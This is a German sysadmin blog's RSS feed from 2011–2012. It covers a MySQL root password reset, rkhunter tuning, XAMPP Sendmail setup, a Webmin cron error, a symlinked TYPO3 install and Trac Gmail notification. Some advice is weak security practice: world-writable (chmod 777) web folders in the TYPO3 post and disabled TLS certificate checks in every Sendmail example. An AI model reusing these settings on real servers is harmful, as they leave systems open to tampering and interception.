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	<title>Jörg Bösche - Web &#38; Fotografie &#187; server</title>
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	<description>(Szene-)Fotografie - Webdevelopment - Suchmaschinenoptimierung - Privat</description>
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		<title>Ubuntu: mySQL-Passwort für User root zurücksetzen</title>
		<link>http://blog.joergboesche.de/ubuntu-mysql-passwort-fuer-user-root-zuruecksetzen</link>
		<comments>http://blog.joergboesche.de/ubuntu-mysql-passwort-fuer-user-root-zuruecksetzen#comments</comments>
		<pubDate>Sat, 21 Jan 2012 20:48:18 +0000</pubDate>
		<dc:creator>Jörg</dc:creator>
				<category><![CDATA[Linux/Server]]></category>
		<category><![CDATA[LAMP]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[passwort]]></category>
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		<category><![CDATA[server]]></category>
		<category><![CDATA[ubuntu]]></category>
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		<description><![CDATA[Nach einer Neuinstallation des Betriebssystems (z.B. Ubuntu 11.10) mit einem mySQL-Server kann es dazu führen, dass durch die unterschiedlichen Spracheinstellungen und Kodierungen das mySQL-Passwort auf der Console oder per phpMyAdmin nicht mehr angenommen wird. Der Grund kann zum Beispiel eine Umstellung der Zeichenkodierung und Tastatursprache sein. Um das mySQL-Passwort für den "root"-User zurück- oder neu [...]]]></description>
			<content:encoded><![CDATA[<p> 	<a href="http://blog.joergboesche.de/wp-content/uploads/2011/11/ubuntu-logo.gif"><img class="alignleft  wp-image-808" style="margin-left: 0px; margin-right: 15px; margin-bottom: 0px;" title="Ubuntu (Linux) Logo" src="http://blog.joergboesche.de/wp-content/uploads/2011/11/ubuntu-logo-150x150.gif" alt="" width="78" height="78" /></a>Nach einer Neuinstallation des Betriebssystems (z.B. Ubuntu 11.10) mit einem mySQL-Server kann es dazu führen, dass durch die unterschiedlichen Spracheinstellungen und Kodierungen das mySQL-Passwort auf der Console oder per phpMyAdmin nicht mehr angenommen wird. Der Grund kann zum Beispiel eine Umstellung der Zeichenkodierung und Tastatursprache sein.</p>
<p>Um das mySQL-Passwort für den "root"-User zurück- oder neu zu setzen, benötigt es einen kleinen Trick auf der Shell. Loggt euch dazu mit eurem Linux-User per SSH (z.B. per puTTY) ein und <span id="more-839"></span>gebt euch per "sudo su" die Root-Rechte. Nachdem ihr euch die Root-Rechte übertragen habt, könnt ihr den mySQL-Server stoppen und mit einigen Zusatzparametern aufrufen, um euch mit dem Root-User des mySQL-Servers ohne Passworteingabe anzumelden.</p>
<p>Nun setzt ihr das Passwort für den Root-User über eine mySQL-Query neu und meldet euch wieder aus mySQL ab. Danach solltet ihr euch auch vom Root-User per SSH abmelden, damit ihr keine fehlerhaften Eingaben bereuen werdet.</p>
<p><strong>mySQL Root-Benutzer Passwort ändern:</strong></p>
<pre class="text">#Stoppe den MySQL Server.
sudo /etc/init.d/mysql stop
&nbsp;
#Start der mysqld-Konfiguration.
sudo mysqld --skip-grant-tables &amp;
&nbsp;
#Login in MySQL als root-Benutzer ohne Passworteingabe.
mysql -u root mysql
&nbsp;
#Ersetzte den Marker &quot;DEINNEUESPASSWORT&quot; mit deinem neuen Passwort!
UPDATE user SET Password=PASSWORD('DEINNEUESPASSWORT') WHERE User='root'; FLUSH PRIVILEGES; exit;</pre>
]]></content:encoded>
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		</item>
		<item>
		<title>Linux: rkhunter &#8211; Rootkit Hunter Daily Report konfigurieren</title>
		<link>http://blog.joergboesche.de/linux-rkhunter-rootkit-hunter-daily-report-konfigurieren</link>
		<comments>http://blog.joergboesche.de/linux-rkhunter-rootkit-hunter-daily-report-konfigurieren#comments</comments>
		<pubDate>Fri, 04 Nov 2011 11:58:58 +0000</pubDate>
		<dc:creator>Jörg</dc:creator>
				<category><![CDATA[Linux/Server]]></category>
		<category><![CDATA[allowhiddendir]]></category>
		<category><![CDATA[conf]]></category>
		<category><![CDATA[daily report]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[rkhunter]]></category>
		<category><![CDATA[rootkit]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[warnings]]></category>

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		<description><![CDATA[Nach der Installation von "rkhunter" unter Linux (z.B. Distribution Ubuntu oder Debian) kann es nach dem nächtlichen Cronjob zu einer Warnung im E-Mail-Report kommen. Die Warnung beinhaltet die Information, dass im Verzeichnis "/dev/" verschiedene versteckte Ordner gefunden wurden. Versteckt sind die Ordner, da sie zu Beginn des Ordnernamens einen Punkt enthalten. Zum Beispiel "/dev/.static". Um [...]]]></description>
			<content:encoded><![CDATA[<p> 	<img class="alignleft size-full wp-image-808" style="margin: 0px 10px 10px 0px;" title="Ubuntu (Linux) Logo" src="http://blog.joergboesche.de/wp-content/uploads/2011/11/ubuntu-logo.gif" alt="" width="125" height="98" />Nach der Installation von "rkhunter" unter Linux (z.B. Distribution Ubuntu oder Debian) kann es nach dem nächtlichen Cronjob zu einer Warnung im E-Mail-Report kommen. Die Warnung beinhaltet die Information, dass im Verzeichnis "/dev/" verschiedene versteckte Ordner gefunden wurden. Versteckt sind die Ordner, da sie zu Beginn des Ordnernamens einen Punkt enthalten. Zum Beispiel "/dev/.static".<br />
Um nicht in jeder Nacht die Warnung vom Rootkit Hunter (Daily Report via Cronjob) zu erhalten, dass versteckte Ordner auf dem System gefunden wurden, sollte hier die "rkhunter.conf" im Verzeichnis <span id="more-807"></span>"/etc/" angepasst werden. Udev und initramfs kann in diesem Fall vertraut werden. Öffnen wir die rkhunter.conf mit einem beliebigen Texteditor in Linux und suchen nach der Zeile "ALLOWHIDDENDIR=/dev/.udev". Als Standardkonfiguration ist diese Zeile mit einer Raute kommentiert. - Aktiviert wird diese Zeile, indem die Raute entfernt wird. Diesen Schritt führen wir ebenfalls für "initramfs" aus.</p>
<p>Nach dem Speichern der Konfiguration solltet ihr sicherheitshalber die rkhunter-Eigenschaften aktualisieren und den Scan erneut durchführen.<br />
Im folgenden Beispiel wird ein Property-Update (--propupd) ohne Ausgabe (--sk) ausgeführt.</p>
<pre class="text">&nbsp;
sudo rkhunter --update
sudo rkhunter --propupd --sk</pre>
<p>Bei der Konfiguration von rkhunter solltet ihr dennoch vorsichtig vorgehen, denn gerade beim Erlauben von versteckten Ordnern wird grundsätzlich eine Sicherheitslücke erzeugt.<br />
Erkundigt euch lieber vorher im Netz, was diese versteckten Ordner und Dateien ausführen, bevor ihr dem Rootkit Hunter mitteilt, dass diese Ordner und Dateien beim Scan ignoriert bzw. erlaubt werden dürfen.</p>
<pre class="text">[rkhunter] Warnings found for SERVER
Running Rootkit Hunter version 1.3.6
[12:53:44] Checking for hidden files and directories [ Warning ]
[12:53:44] Warning: Hidden directory found: /dev/.static
[12:53:44] Warning: Hidden directory found: /dev/.udev
[12:53:44] Warning: Hidden directory found: /dev/.initramfs</pre>
]]></content:encoded>
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		</item>
		<item>
		<title>XAMPP: Sendmail (PHP-Mailversand) für Windows konfigurieren</title>
		<link>http://blog.joergboesche.de/xampp-sendmail-php-mailversand-fuer-windows-konfigurieren</link>
		<comments>http://blog.joergboesche.de/xampp-sendmail-php-mailversand-fuer-windows-konfigurieren#comments</comments>
		<pubDate>Mon, 08 Aug 2011 21:27:52 +0000</pubDate>
		<dc:creator>Jörg</dc:creator>
				<category><![CDATA[Linux/Server]]></category>
		<category><![CDATA[mailserver]]></category>
		<category><![CDATA[mailversand]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[relay-host]]></category>
		<category><![CDATA[sendmail]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[webserver]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[xampp]]></category>

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		<description><![CDATA[Unter Windows ist es kein Kinderspiel einen Mailserver aufzusetzen, welcher E-Mails versendet und die von großen E-Mail-Providern, wie zum Beispiel GMX oder WEB durchgelassen werden. Oft stimmen die Relay-Hosts nicht oder das Auflösen der privaten IP-Adresse schlägt fehl. Die IP-Adressen von privaten Internetanbindungen sind nicht in den WhiteLists der Anbieter eingetragen und so werden die [...]]]></description>
			<content:encoded><![CDATA[<p> 	<img class="alignleft size-full wp-image-423" style="margin: 0px 15px 15px 0px;" title="XAMPP Logo" src="http://blog.joergboesche.de/wp-content/uploads/2009/04/xampp_logo.jpg" alt="" width="200" height="59" />Unter Windows ist es kein Kinderspiel einen Mailserver aufzusetzen, welcher E-Mails versendet und die von großen E-Mail-Providern, wie zum Beispiel GMX oder WEB durchgelassen werden. Oft stimmen die Relay-Hosts nicht oder das Auflösen der privaten IP-Adresse schlägt fehl. Die IP-Adressen von privaten Internetanbindungen sind nicht in den WhiteLists der Anbieter eingetragen und so werden die versendeten E-Mails meist abgewiesen oder landen direkt im Spam-Ordner.</p>
<p>Für einen Webentwickler ist der E-Mailversand dennoch ein elementarer Bestandteil bei der Entwicklung von Internetauftritten. Beispielsweise werden E-Mails durch ein Kontaktformular versandt oder bei der Registrierung eines Benutzers, werden die Double-Opt-In E-Mails zur Aktivierung, etc. versandt. Wer die Softwarepakete "XAMPP" unter Windows nutzt, hat die Möglichkeit MercuryMail oder Sendmail zu konfigurieren. Bis allerdings MercuryMail eingerichtet ist, ist es oft schneller mit einem externen Dienstleister, wie beispielsweise All-Inkl.com, getan. Wer einen Shared-Server bei All-Inkl.com besitzt und eh ein Postfach dort eingerichtet hat, kann über das E-Mailpostfach kinderleicht E-Mails versenden. So wird PHP später über Sendmail und dem externen SMTP-Server die E-Mails an <span id="more-769"></span>die entsprechenden Empfänger versenden und erfolgreich zugestellt, da der Relay-Host (Mailserver) korrekt aufgelöst werden kann und auch in den Whitelists der großen Provider steht.</p>
<p>Ein kleines <strong>HowTo zur Einrichtung von Sendmail</strong> gibt es hier.<br />
Die Einrichtung von Sendmail basiert auf der XAMPP Version 1.7.3.<br />
Bei den Pfaden gehen wir davon aus, dass XAMPP unter C:\xampp\ zur Verfügung steht.</p>
<p>Sendmail.ini: C:\xampp\sendmail\sendmail.ini<br />
PHP.ini: C:\xampp\php\php.ini</p>
<p><strong>Konfiguration der sendmail.ini für SMTP-Dienst für all-inkl.com</strong></p>
<pre class="cpp">defaults
logfile <span style="color: #666666;">&quot;C:<span style="color: #666666; font-weight: bold;">\x</span>ampp<span style="color: #666666; font-weight: bold;">\s</span>endmail<span style="color: #666666; font-weight: bold;">\s</span>endmail.log&quot;</span>
&nbsp;
<span style="color: #339900;">#allinkl</span>
account allinkl
tls on
tls_certcheck off
host smtp.<span style="color: #00eeff;">domain</span>.<span style="color: #00eeff;">tld</span>
from mail@domain.<span style="color: #00eeff;">tld</span>
auth on
user m0xxxxx
password xxxxxx
&nbsp;
<span style="color: #339900;"># Set a default account</span>
account <span style="color: #0000ff;">default</span> : allinkl</pre>
<p><strong>Konfiguration mit Hotmail</strong>:</p>
<pre class="cpp">defaults
logfile <span style="color: #666666;">&quot;C:<span style="color: #666666; font-weight: bold;">\x</span>ampp<span style="color: #666666; font-weight: bold;">\s</span>endmail<span style="color: #666666; font-weight: bold;">\s</span>endmail.log&quot;</span>
&nbsp;
<span style="color: #339900;"># A freemail service example</span>
account Hotmail
tls on
tls_certcheck off
host smtp.<span style="color: #00eeff;">live</span>.<span style="color: #00eeff;">com</span>
from exampleuser@hotmail.<span style="color: #00eeff;">com</span>
auth on
user exampleuser@hotmail.<span style="color: #00eeff;">com</span>
password examplepassword
&nbsp;
<span style="color: #339900;"># Set a default account</span>
account <span style="color: #0000ff;">default</span> : Hotmail</pre>
<p><strong>Konfiguration mit GMX</strong>:</p>
<pre class="cpp">defaults
logfile <span style="color: #666666;">&quot;C:<span style="color: #666666; font-weight: bold;">\x</span>ampp<span style="color: #666666; font-weight: bold;">\s</span>endmail<span style="color: #666666; font-weight: bold;">\s</span>endmail.log&quot;</span>
&nbsp;
<span style="color: #339900;"># A freemail service GMX</span>
account gmx
tls on
tls_certcheck off
host smtp.<span style="color: #00eeff;">gmx</span>.<span style="color: #00eeff;">net</span>
from exampleuser@gmx.<span style="color: #00eeff;">de</span>
auth on
user exampleuser@gmx.<span style="color: #00eeff;">de</span>
password examplepassword
&nbsp;
<span style="color: #339900;"># Set a default account</span>
account <span style="color: #0000ff;">default</span> : gmx</pre>
<p>Des Weiteren müsst ihr in der php.ini die Zeilen mit "sendmail" anpassen und freischalten.</p>
<pre class="cpp">sendmail_path = <span style="color: #666666;">&quot;C:<span style="color: #666666; font-weight: bold;">\x</span>ampp<span style="color: #666666; font-weight: bold;">\s</span>endmail<span style="color: #666666; font-weight: bold;">\s</span>endmail.exe -t&quot;</span></pre>
<pre class="cpp">SMTP = localhost</pre>
<pre class="cpp">smtp_port = <span style="color: #0000dd;">25</span></pre>
<pre class="cpp">sendmail_from = no-reply@domain.<span style="color: #00eeff;">de</span></pre>
<p>Sind alle Konfigurationen durchgeführt, vergesst euren Apache-Dienst nicht neuzustarten. Ohne Neustart werden die Änderungen nicht wirksam.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Webmin/Virtualmin Server: Failed to run Crondaily &#8220;sendratings.pl&#8221;</title>
		<link>http://blog.joergboesche.de/rootserver-webmin-virtualmin-server-failed-to-run-crondaily-sendratings</link>
		<comments>http://blog.joergboesche.de/rootserver-webmin-virtualmin-server-failed-to-run-crondaily-sendratings#comments</comments>
		<pubDate>Thu, 26 May 2011 22:24:48 +0000</pubDate>
		<dc:creator>Jörg</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[cron]]></category>
		<category><![CDATA[crontab]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[failed]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[root]]></category>
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		<category><![CDATA[server]]></category>
		<category><![CDATA[virtualmin]]></category>
		<category><![CDATA[webmin]]></category>

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		<description><![CDATA[Vor kurzem wurde eine neue Webmin "Virtual Server" Version 3.85 als Paket für Linux (Debian 6 - Squeeze, Ubuntu 10.4, ...) veröffentlicht und seit dem Update schlägt ein täglicher Cron Deamon (cron.daily) fehl. Seit dem Update fehlt scheinbar die Datei "sendratings.pl" im Verzeichnis "/etc/webmin/virtual-server/". Laut des Bugtrackers von Virtualmin/Webmin, wird der Fehler in einem neuen [...]]]></description>
			<content:encoded><![CDATA[<p> 	Vor kurzem wurde eine neue Webmin "Virtual Server" Version 3.85 als Paket für Linux (Debian 6 - Squeeze, Ubuntu 10.4, ...) veröffentlicht und seit dem Update schlägt ein täglicher Cron Deamon (cron.daily) fehl.<br />
Seit dem Update fehlt scheinbar die Datei "sendratings.pl" im Verzeichnis "/etc/webmin/virtual-server/".<br />
Laut des <a title="Bugtracker von Virtualmin / Webmin" href="http://sourceforge.net/tracker/?func=detail&amp;aid=3301537&amp;group_id=17457&amp;atid=117457" target="_blank">Bugtrackers von Virtualmin/Webmin</a>, wird der Fehler in einem neuen Unterrelease der Version 3.86 behoben. Dieser Unterrelease steht noch aus.</p>
<p>Die Fehlerausgabe des täglichen Cronjobs (Cron Deamon) lautet unter Debian 6 (Squeeze):<span id="more-738"></span><br />
<code>From: Cron Deamon<br />
Subject: Cron  /etc/webmin/virtual-server/sendratings.pl (failed)</code><br />
<code>Body: Failed to run /usr/share/webmin/virtual-server/sendratings.pl : Datei oder Verzeichnis nicht gefunden at /etc/webmin/virtual-server/sendratings.pl line 11.</code></p>
<p>Ein vorübergehender Workaround ist lediglich das Abschalten des Cronjobs über den Cronjobmanager von Webmin oder per SSH-Zugang über "crontab -e" und dann das ausblenden des Cronjobs.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>TYPO3-Source: mehrere TYPO3-Projekte (Multiple-TYPO3-Projects) auf einem Server</title>
		<link>http://blog.joergboesche.de/typo3-source-mehrere-typo3-projekte-multiple-typo3-projects-auf-einem-server</link>
		<comments>http://blog.joergboesche.de/typo3-source-mehrere-typo3-projekte-multiple-typo3-projects-auf-einem-server#comments</comments>
		<pubDate>Sat, 19 Feb 2011 00:06:20 +0000</pubDate>
		<dc:creator>Jörg</dc:creator>
				<category><![CDATA[TYPO3]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[multiple-typo3]]></category>
		<category><![CDATA[server]]></category>
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		<category><![CDATA[typo3]]></category>

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		<description><![CDATA[TYPO3 Installation mit Linux-Symlinks Die Voraussetzung für das Umwandeln einer TYPO3 Installation zu einer Symlink-TYPO3-Installation, ist der Shell-Zugriff auf die entsprechende Linux-Distribution. Es muss ein Shell-User vorliegen, welcher ZIP-Archive entpacken, Dateien kopieren, löschen, und bearbeiten kann und Symlinks erstellen darf. Sind diese Voraussetzungen nicht gegeben, so wende dich  bitte an den Serveradministrator oder erweitere dein [...]]]></description>
			<content:encoded><![CDATA[<h2><strong>TYPO3 Installation mit Linux-Symlinks</strong></h2>
<div id="attachment_411" class="wp-caption alignleft" style="width: 133px"><a href="http://blog.joergboesche.de/wp-content/uploads/2009/04/logo-typo3.gif"><img class="size-full wp-image-411" title="TYPO3 Framework und CMS" src="http://blog.joergboesche.de/wp-content/uploads/2009/04/logo-typo3.gif" alt="" width="123" height="34" /></a><p class="wp-caption-text">TYPO3 Framework und CMS</p></div>
<p>Die Voraussetzung für das Umwandeln einer TYPO3 Installation zu einer Symlink-TYPO3-Installation, ist der Shell-Zugriff auf die entsprechende Linux-Distribution. Es muss ein Shell-User vorliegen, welcher ZIP-Archive entpacken, Dateien kopieren, löschen, und bearbeiten kann und Symlinks erstellen darf. Sind diese Voraussetzungen nicht gegeben, so wende dich  bitte an den Serveradministrator oder erweitere dein Webhosting-Paket auf einen Webhosting/Managed-Server mit SSH-Zugriff.</p>
<h3><strong>TYPO3 Source herunterladen und entpacken</strong></h3>
<p>Zu Beginn der TYPO3-Installation kann in dem Document-Root des Users (FTP-/Shell-User) der TYPO3 Source heruntergeladen und mittels „Zip“ entpackt werden. Um die TYPO3-Source Installation für mehrere Accounts (Webprojekte) zugänglich zu machen, sollte auf dem Server ein Verzeichnis gewählt werden, welches sich nicht im „/home/*“ oder /public_html“ befindet. Eine Möglichkeit wäre das Verzeichnis „/var/www/“ oder „/srv/www/“ für den TYPO3 Source. Auf dieses Verzeichnis haben alle angelegten User unter Linux Zugriff und können durch einen Symlink auf den TYPO3 Source zugreifen.</p>
<p>Wählen wir z.B. das Verzeichnis „/var/www/“ für unseren TYPO3 Source, so wechseln wir mittels „cd /var/www/“ in das Verzeichnis und laden mittels<span id="more-731"></span> „wget“ den aktuellen TYPO3 Source herunter. Der aktuelle Source wird auf <a title="TYPO3 Download" href="http://typo3.org/download/packages/" target="_blank">http://typo3.org/download/packages/</a> angeboten. Aktuell ist die TYPO3 Version 4.5.0 und kann über den Link herunter geladen werden. Wurde der Source erfolgreich mit „wget http://heanet.dl.sourceforge.net/project/typo3/TYPO3%20Source%20and%20Dummy/TYPO3%204.5.0/typo3_src-4.5.0.zip „ auf den Server transferiert, so kann das ZIP-Archiv entpackt werden.</p>
<p><strong>Entpacken des TYPO3 4.5.0 Source (ZIP)-Archivs</strong><br />
<code>unzip typo3_src-4.5.0.zip</code></p>
<p>In dem Verzeichnis „/var/www/“ befindet sich nun ein Ordner „typo3_src-4.5.0“, welcher später mit den Symlinks verknüpft wird. Falls ihr unsicher seid, wo ihr euch aktuell befindet, könnt ihr mit dem Befehl (SSH-Command) namens „pwd“ das aktuelle Verzeichnis ermitteln.</p>
<h3><strong>Linux-Symlinks auf den aktuellen TYPO3 Source erzeugen</strong></h3>
<p>Nun wechselt ihr zurück in euer Home-Verzeichnis des Users, indem ihr den Befehl „cd ~“ in eurem SSH-Terminal eingebt und bestätigt. Danach wechselt ihr noch in eurer „public_html“ oder „htdocs“-Ordner mit „cd public_html“ oder „cd htdocs“ und erstellt eure Symlinks zum TYPO3 Source, um im Anschluss mit der eigentlichen TYPO3 Installation zu beginnen.</p>
<p>Um bei der Symlink-Erstellung mit dem Befehl „ln“ sicher zu gehen, dass er am richtigen Ort erzeugt wird, solltet ihr mit absoluten Pfadangaben arbeiten. Ihr gebt folgende Daten bei „ln“ an. „ln –s TYPO3_SOURCE_DIR/ USER_HOME_DIR_PUBLIC_HTML/” Erst die Quelle, dann das Ziel. In unserem Fall gebe ich mit „~/“ an, dass der Symlink im aktuellen Homeverzeichnis des Users im Unterordner „public_html/“ erzeugt werden soll.</p>
<p>Wir benötigen folgende Struktur in unserem Verzeichnis:<br />
- index.php (File)<br />
- typo3 (Directory)<br />
- misc (Directory)<br />
- t3lib (Directory)</p>
<p><strong>Erzeugen der Symlinks zum TYPO3-Source</strong><br />
<code>ln -s /var/www/typo3_src-4.5.0/index.php / ~/public_html/index.php<br />
ln -s /var/www/typo3_src-4.5.0/typo3 ~/public_html/typo3<br />
ln -s /var/www/typo3_src-4.5.0/misc ~/public_html/misc<br />
ln -s /var/www/typo3_src-4.5.0/t3lib ~/public_html/t3lib</code></p>
<p>Nach dem Erstellen der Symlinks, sollten wir in unserem User-Verzeichnis schauen, ob die Symlinks auch richtig angelegt wurden. Mit dem Befehl „ls –l“ schauen wir uns das Verzeichnis „public_html“ an. Sind die Symlinks vorhanden, sollten wir im Anschluss noch den „typo3temp“-Ordner erstellen, welcher von TYPO3 für das Caching verwendet wird. Danach geben wir dem Ordner die Zugriffsrechte (0777) für den Apache zum Schreiben, Lesen und Löschen von Inhalten in dem Ordner.</p>
<p><strong>Erstellen des TYPO3-Temp Ordners</strong><br />
<code>mkdir ~/public_html/typo3temp<br />
chmod 777 ~/public_html/typo3temp</code></p>
<p>Wir haben soweit alle Vorbereitungen getroffen und können mit der TYPO3 Installation beginnen. Wir rufen nun über unseren Browser z.B. folgende Adresse auf, um die Step by Step-Installation zu beginnen. <a href="http://www.yourdomain.de/typo3/install/">http://www.yourdomain.de/typo3/install/</a><br />
Wird diese Seite aufgerufen, kann es vorkommen, dass die Information erscheint, dass im Ordner „typo3conf“ eine leere Datei mit dem Namen „ENABLE_INSTALL_TOOL“ erstellt werden soll. Um dieser Information nach zu gehen, gehen wir folgendermaßen vor.</p>
<p><strong>Datei „ENABLE_INSTALL_TOOL“ erstellen</strong><br />
<code>mkdir ~/public_html/typo3conf<br />
chmod 777 ~/public_html/typo3conf<br />
touch  ~/public_html/typo3conf/ ENABLE_INSTALL_TOOL</code></p>
<p>Nach dem Erstellen des Ordners und der Datei, musst du die Seite der TYPO3 Installation erneut aufrufen. <a href="http://www.yourdomain.de/typo3/install/">http://www.yourdomain.de/typo3/install/</a></p>
<p><strong> </strong></p>
<h3><strong>Was tun bei einem TYPO3 Update? – neue Versionsnummer veröffentlicht</strong></h3>
<p><strong> Update einer Symlink TYPO3 Installation auf die neue TYPO3 Versionsnummer</strong></p>
<p>Erscheint eine neue TYPO3 Version, z.B. TYPO3 4.5.1, so muss kein großer Aufwand betrieben werden. Da wir eine „Multiple-Installation“ erstellt haben und mit wenigen Klicks diverse TYPO3-Projekte auf dem Server aktualisieren können, müssen lediglich die Symlinks aktualisiert werden. Wir laden den neuen TYPO3-Source wieder in unser Verzeichnis „/var/www/“ herunter und entpacken das ZIP-Archiv. Wir haben nun einen neuen Ordner mit z.B. dem Namen „typo3_src-4.5.1“. Dieser muss nur noch bei den bestehenden TYPO3-Projekten als Symlink eingetragen werden und wir haben die grundlegende Aktualisierung der TYPO3-Projekte abgeschlossen. Kurz: Wir teilen uns einen TYPO3-Source mit mehreren TYPO3-Installation bzw. Projekten.  Der einfache Weg zur Aktualisierung der bestehenden Symlinks ist jener, die bestehenden Symlinks zu entfernen (Befehl: unlink) und die neuen Symlinks zum neuen TYPO3-Source zu erstellen. Wie Symlinks zu erstellen sind, wird weiter oben beschrieben oder schaue in die Manpage von „ln“ (Befehl: man ln).</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Linux: Trac Ticketsystem E-Mailbenachrichtigung via GoogleMail (SMTP)</title>
		<link>http://blog.joergboesche.de/linux-trac-ticketsystem-e-mailbenachrichtigung-via-googlemail-smtp</link>
		<comments>http://blog.joergboesche.de/linux-trac-ticketsystem-e-mailbenachrichtigung-via-googlemail-smtp#comments</comments>
		<pubDate>Wed, 09 Feb 2011 18:08:48 +0000</pubDate>
		<dc:creator>Jörg</dc:creator>
				<category><![CDATA[Linux/Server]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[gmail]]></category>
		<category><![CDATA[googlemail]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[notification]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[smtp]]></category>
		<category><![CDATA[ticket]]></category>
		<category><![CDATA[trac]]></category>

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		<description><![CDATA[Ein frisch aufgesetztes TRAC Ticketsystem benachrichtigt die Benutzer des Ticketsystems nicht ohne ausführliche Konfiguration der "trac.ini"-Datei im TRAC-Projekt-Ordner. In dem Fall, dass der Autor oder Zuständige Bearbeiter des neu erstellten Tickets per E-Mail über das neue Ticket benachrichtigt werden soll, müssen die User des Ticketsystems ihre E-Mailadressen in den "Einstellungen" des Benutzerprofils hinterlegen. Des Weiteren [...]]]></description>
			<content:encoded><![CDATA[<p> 	<img class="alignleft size-full wp-image-729" style="margin: 0 10px 10px 0px;" title="Trac Open Source Project" src="http://blog.joergboesche.de/wp-content/uploads/2011/02/trac_logo.png" alt="Trac Open Source Project" width="236" height="73" />Ein frisch aufgesetztes TRAC Ticketsystem benachrichtigt die Benutzer des Ticketsystems nicht ohne ausführliche Konfiguration der "trac.ini"-Datei im TRAC-Projekt-Ordner.<br />
In dem Fall, dass der Autor oder Zuständige Bearbeiter des neu erstellten Tickets per E-Mail über das neue Ticket benachrichtigt werden soll, müssen die User des Ticketsystems ihre E-Mailadressen in den "Einstellungen" des Benutzerprofils hinterlegen. Des Weiteren muss in der "trac.ini"-Datei der Abschnitt "notification" mit dem zu verwendenden SMTP-Server konfiguriert werden. Wird der Linux-Server mit postfix anstatt mit sendmail betrieben, treten schnell die Probleme auf, <span id="more-728"></span>dass keine E-Mails versendet werden. (Konfiguration: postfix wird lediglich für systeminterne E-Mails und für das PHP-Modul verwendet, jedoch nicht als Mailserver mit Mailman und Dovecot) Wer eine Lösung hat, kann diese gerne in den Kommentaren hinterlassen. Was geschieht bei der Verwendung von "postfix" mit dem TRAC-System? - Kurz: Es werden leider keine E-Mails versandt.</p>
<p>Um den E-Mailversand bei neuen Tickets zu gewährleisten, bietet sich der GoogleMail-SMTP-Server (<a title="Using GMail as the SMTP relay host" href="http://trac.edgewall.org/wiki/TracNotification#UsingGMailastheSMTPrelayhost" target="_blank">Using GMail as the SMTP relay host</a>) an.<br />
Die Konfiguration des externen SMTP-Servers von GoogleMail ist kinderleicht. Auch die Entwickler des Ticketsystems "TRAC" haben in ihren Anleitungen auf die Nutzung von GoogleMail als SMTP relay host hingewiesen. Zu beachten ist, dass bei dem SMTP-Port die "587" verwendet wird und nicht "465" oder "25". Ebenfalls muss "use_tls" auf "true" gesetzt werden, um eine sichere Verbindung zum GoogleMail-STMP-Server herzustellen.</p>
<p><strong>Beispiel für TracNotification in der "trac.ini"-Konfigurationsdatei für trac 0.12 (stable):</strong><code><br />
[notification]<br />
admit_domains =<br />
always_notify_owner = true<br />
always_notify_reporter = true<br />
always_notify_updater = true<br />
ambiguous_char_width = single<br />
email_sender = SmtpEmailSender<br />
ignore_domains =<br />
mime_encoding = base64<br />
smtp_always_bcc =<br />
smtp_always_cc =<br />
smtp_default_domain =<br />
smtp_enabled = true<br />
smtp_from ={emailname}@gmail.com<br />
smtp_from_name = [TRAC] {sendername}<br />
smtp_password = {password}<br />
smtp_port = 587<br />
smtp_replyto = {emailname}@gmail.com<br />
smtp_server = smtp.gmail.com<br />
smtp_subject_prefix = __default__<br />
smtp_user = {emailname}@gmail.com<br />
ticket_subject_template = $prefix #$ticket.id: $summary<br />
use_public_cc = false<br />
use_short_addr = false<br />
use_tls = true<br />
</code></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Linux: htop &#8211; interaktives Prozess-Tool mit Kill und SortBy-Funktion</title>
		<link>http://blog.joergboesche.de/linux-htop-interaktives-prozess-tool-mit-kill-und-sortby-funktion</link>
		<comments>http://blog.joergboesche.de/linux-htop-interaktives-prozess-tool-mit-kill-und-sortby-funktion#comments</comments>
		<pubDate>Tue, 11 Jan 2011 22:06:11 +0000</pubDate>
		<dc:creator>Jörg</dc:creator>
				<category><![CDATA[Linux/Server]]></category>
		<category><![CDATA[Ascii-Grafik]]></category>
		<category><![CDATA[htop]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[prozess]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[webserver]]></category>

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		<description><![CDATA[Jeder kennt das übliche "top"-Modul unter Linux, um die aktuell laufenden und wartenden Prozesse, Speicherauslastungen und Laufzeiten von Prozesse zu überwachen. Eine nützliche und sehr komfortable Erweiterung für Linux (z.B. Debian Lenny) ist das Linux Package "htop". Dies baut auf der Ausgabe von "top" auf und gibt mit farblichen Statusbalken für die Prozessorauslastung und Speichernutzung [...]]]></description>
			<content:encoded><![CDATA[<p> 	Jeder kennt das übliche "top"-Modul unter Linux, um die aktuell laufenden und wartenden Prozesse, Speicherauslastungen und Laufzeiten von Prozesse zu überwachen.<br />
Eine nützliche und sehr komfortable Erweiterung für Linux (z.B. Debian Lenny) ist das Linux Package "htop". Dies baut auf der Ausgabe von "top" auf und gibt mit farblichen Statusbalken für die Prozessorauslastung und Speichernutzung die Werte zurück. Diese werden im Sekundentakt aktualisiert und es bestehen zahlreiche Möglichkeiten zur Sortierung der laufenden Prozesse/Dienste.</p>
